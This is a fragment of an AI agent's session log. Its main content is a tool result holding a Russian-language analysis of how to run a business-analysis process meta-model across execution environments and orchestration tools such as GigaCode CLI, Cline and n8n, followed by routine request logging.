\u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n33:## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n73:## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n96:## \u041c\u0435\u0442\u043e\u0434\\n126:## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n149:## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n170:## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n172:### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n203:### \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n234:## \u041c\u0430\u0442\u0440\u0438\u0446\u0430 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\\n243:### \u0415. \u0421\u043b\u043e\u0439 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0435\u0451 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n259:### \u0416. \u0421\u043b\u043e\u0439 2: \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442, \u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a)\\n271:### \u0417. \u0421\u043b\u043e\u0439 3: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n287:## \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0445\u0435\u043c\u0430\\n310:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1: \u0440\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410\\n340:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2: \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4\\n374:## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n386:## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n408:## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n426:## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n450:## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n467:## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u0431\u044d\u043a\u043b\u043e\u0433\u0430\\n486:## \u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0435\\n499:## Related Artifacts\\n---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n  \u0438\\n  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\",\n[2026-09-29T07:46:33.860Z] [INFO]         \"is_error\": false\n[2026-09-29T07:46:33.860Z] [INFO]       }\n[2026-09-29T07:46:33.860Z] [INFO]     ]\n[2026-09-29T07:46:33.860Z] [INFO]   },\n[2026-09-29T07:46:33.860Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"uuid\": \"720f9f78-8ab7-42c3-82b5-2689b57e7f0c\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:33.837Z\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:33.860Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:46:33.860Z] [INFO] }\n[2026-09-29T07:46:33.884Z] [STDOUT] [log_6bf8e0] sending request {\n[2026-09-29T07:46:33.888Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:46:33.891Z] [STDOUT]   url: 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\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:34.120Z] [STDOUT]     \"x-client-request-id\": 